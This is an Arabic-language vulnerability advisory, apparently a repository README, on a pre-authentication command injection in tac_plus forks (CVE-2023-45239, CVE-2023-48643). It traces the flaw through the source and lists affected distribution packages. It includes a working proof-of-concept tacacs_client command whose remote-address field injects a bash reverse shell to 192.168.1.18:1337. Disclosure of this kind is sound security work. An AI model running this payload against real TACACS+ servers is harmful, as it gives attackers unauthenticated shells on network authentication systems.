
ثغرة تنفيذ أوامر عن بُعد قبل المصادقة في tac_plus (CVE-2023-45239 & CVE-2023-48643)
يحتوي هذا المستودع على معلومات حول ثغرة تنفيذ أوامر عن بُعد قبل المصادقة في تطبيقات مفتوحة المصدر مختلفة من tac_plus. الفرعان التاليان متأثران:
ومع ذلك، فإن كلا الفرعين يستندان إلى مجموعة أدوات تطوير من Cisco لـ TACACS+ تم فتح مصدرها منذ أكثر من 16 عامًا. كانت الثغرة موجودة بالفعل في مجموعة الأدوات وتم نقلها إلى المشروعين. تجدر الإشارة إلى أن هذا البحث ركّز فقط على الفرعين المذكورين أعلاه، وقد تكون هناك فروع إضافية متأثرة أيضًا.
يوضح الرسم البياني التالي العلاقة بين الفروع، وكلها متأثرة:
-----------------
| Cisco dev kit |
-----------------
↑
forked from
|
----------------------
| Shrubbery Networks |
| CVE-2023-48643 |
----------------------
↑
forked from
|
------------------
| Facebook |
| CVE-2023-45239 |
------------------
لم يتم العثور على مصدر رسمي لمجموعة أدوات تطوير Cisco ولم تعد تتم صيانتها.
يشير المثال التالي إلى الكود في مستودع facebook/tac_plus لأنه متاح على GitHub (مجموعة أدوات تطوير Cisco وفرع Shrubbery Networks مجرد ملفات tarballs). ومع ذلك، فإن الكود المتأثر هو نفسه في جميع المشاريع.
عندما تصل حزمة، يتم استدعاء الدالة start_session() لتحديد نوع الحزمة الواردة (مصادقة authentication، أو تفويض authorization، أو محاسبة accounting). نركّز على حزم التفويض التي تتم معالجتها بواسطة author() ← do_author()، والتي تستدعي بعد ذلك pre_authorization(). تتحقق هذه الدالة مما إذا كان اسم المستخدم في حزمة TACACAS+ يحتوي على أمر قبل التفويض مُعرّفًا وتنفذه عبر call_pre_process(). يُظهر ملف الإعداد التالي (tac_plus.conf) مستخدمًا مع أمر قبل التفويض مُعرّفًا:
accounting file = /tmp/tac_acc.log
user=DEFAULT {
before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
service = exec {
default attribute = permit
}
}
تأخذ هذه الدالة الأمر المُعرّف في قبل التفويض وتستبدل substitutes المتغيرات (مثل $user أو $name أو $address) بقيم من حزمة TACACAS+ الواردة. ومع ذلك، يتم ذلك دون أي تحقق من الإدخال أو تنظيف له.
سيتم تمرير سلسلة الأوامر الناتجة إلى my_popen() التي تنفّذ سلسلة الأوامر في استدعاء execl() التالي:
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
يسمح هذا بحقن أوامر إضافية عبر حقل العنوان البعيد في حزم TACACS+ (انظر rem_addr وrem_addr_len في RFC8907). قد يعمل الأمر نفسه أيضًا مع حقول إدخال أخرى.
تجدر الإشارة إلى أن الثغرة تُستغل أثناء عملية المصادقة. لذلك، لا يلزم كلمة مرور، فقط اسم مستخدم موجود في الإعداد!
يتم وصف تجميع وتشغيل tac_plus مع هذا الإعداد في الأقسام التالية:
يشغّل الأمر التالي tacacs_client على البرنامج الخفي الهدف مع المستخدم DEFAULT. تكون الحمولة التي تستغل الثغرة في حقل العنوان البعيد، والذي يتم تعيينه عبر وسيط سطر الأوامر --rem-addr:
export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
tacacs_client \
--host 192.168.1.100 \
--port 4949 \
--username DEFAULT \
--rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
authorize -c service=exec
سيؤدي تنفيذ هذا إلى اتصال shell عكسي بالعنوان 192.168.1.18:1337. يجب أن يكون اسم المستخدم واحدًا من المستخدمين الذين لديهم توجيه قبل التفويض أو بعد التفويض مُعرّفًا في tac_plus.cfg. قائمة الأوامر اللاحقة (-c service=exec) مطلوبة للوصول إلى مسار الكود المطلوب، لكن القيمة لا تهم.
تظهر حزمة TACACS+ التي يرسلها العميل في لقطة الشاشة التالية في Wireshark:

تُظهر لقطة الشاشة التالية جلسة تصحيح الأخطاء قبل تنفيذ الأمر المُحقن مباشرةً:

تستخدم توزيعات Linux المختلفة أحد الفرعين المتأثرين في حزمها الرسمية (غالبًا فرع Shrubbery Networks). توضح الجداول التالية توزيعات Linux ومشتقات BSD التي تستخدم إما فرع Shrubbery Networks أو فرع Facebook وقت كتابة هذا التقرير. القائمة غير شاملة، فمن المرجح أن تكون توزيعات/مشتقات أخرى متأثرة أيضًا.
| التوزيعة | الحزمة | الفرع |
|---|---|---|
| Fedora | tacacs | |
| Ubuntu | tacacs+ | Shrubbery Networks |
| OpenSUSE | tac_plus | Shrubbery Networks |
| Debian | tacacs+ | Shrubbery Networks |
| Arch Linux (AUR) | tacacs-plus | Shrubbery Networks |
| ... |
| المشتق | المنفذ | الفرع |
|---|---|---|
| FreeBSD | tacacs | Shrubbery Networks |
| NetBSD | tacacs | Shrubbery Networks |
| ... |
أمثلة حول كيفية إعادة إنتاج هذه المشكلة متاحة في الأقسام التالية: